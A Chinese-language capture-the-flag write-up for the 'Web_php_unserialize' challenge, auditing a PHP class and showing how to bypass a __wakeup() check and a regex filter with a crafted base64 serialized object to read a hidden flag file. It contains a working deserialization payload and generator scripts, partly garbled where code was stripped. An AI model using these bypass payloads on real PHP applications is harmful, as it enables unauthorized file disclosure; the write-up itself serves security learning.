2025.2.1——七、Web_php_unserialize 代码审计

题目来源:攻防世界  Web_php_unserialize

目录

一、打开靶机,整理信息

二、解题思路

step 1:代码审计

step 2:绕过漏洞

1.绕过__wakeup()

2.绕过正则

step 3:脚本运行

三、小结


一、打开靶机,整理信息

2025.2.1——七、Web_php_unserialize 代码审计_第1张图片

熟悉的代码审计,根据题目名称,还涉及到反序列化知识点

二、解题思路

step 1:代码审计

file = $file;   //将传入的file参数赋值给当前对象的$file属性
    }
    function __destruct() {   //析构函数,当对象被销毁时会自动调用
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {   //反序列化时自动调用的魔术方法
        if ($this->file != 'index.php') {   //检查对象的$file属性是否不等于index.php
            //the secret is in the fl4g.php  这里提示秘密在fi4g.php中
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {   //检查$_GET数组中是否存在'var'键
    $var = base64_decode($_GET['var']);   //如果存在,对其进行base64编码并且赋值给$var
    if (preg_match('/[oc]:\d+:/i', $var)) {   //使用 preg_match 函数检查解码后的字符串是否包含正则表达式
        die('stop hacking!');   //如果匹配到了,则终止程序
    } else {
        @unserialize($var);   //如果未匹配到,则对$var字符串进行反序列化
    } 
} else {   //如果$_GET数组中不存在'var'键,使用highlight_file函数高亮
    highlight_file("index.php"); 
} 
?>

代码小结:①secret在fl4g.php中;②类Demo中struct()、destruct()函数分别在代码执行开始和结束时调用。而wakeup函数会在代码执行过程中自动调用;③我们传入的参数要被正则表达式过滤;④在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object(对象)的个数和之前的个数不等时,wakeup就会被绕过。

摘自:攻防世界(三)Web_php_unserialize - HUGBOY - 博客园

step 2:绕过漏洞

1.绕过__wakeup()

2025.2.1——七、Web_php_unserialize 代码审计_第2张图片

2.绕过正则

        正则/[oc]:\d+:/i,整个正则表达式 /[oc]:\d+:/i 用于匹配以下格式的字符串:开头是字符 o 或 c(忽略大小写),紧接着是一个冒号 :,然后是一个或多个数字,最后再跟一个冒号 : 。比如:O:4: ,可以使用O:+4:绕过。

step 3:脚本运行

绕过__wakeup()脚本如下:

file = $file;
    //$this->file1 = $file1;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}//这里我们新定义一个类,参数是fl4g.php,复制他原来的类下来,是为了序列化
$array= new Demo("fl4g.php");
$content=serialize($array);
echo ($content);
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

摘自:攻防世界web进阶区Web_php_unserialize,序列化大详解_正则匹配这里匹配的是 o:4,我们用 o:+4 即可绕过-CSDN博客

绕过正则,脚本如下:

file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $obj = new Demo('fl4g.php');
    $str = serialize($obj);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $str1 = str_replace('O:4', 'O:+4',$str);//绕过preg_match
    $str2 = str_replace(':1:', ':2:',$str1);//绕过wakeup
    var_dump($str2);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($str2));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

传参

/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到flag

三、小结

1.涉及到反序列化就看不懂了,所以需要学习一下序列化和反序列化

2.绕过就是反着来

你可能感兴趣的:(“破晓”计划第一阶段训练,php,网络安全,学习,安全,网络)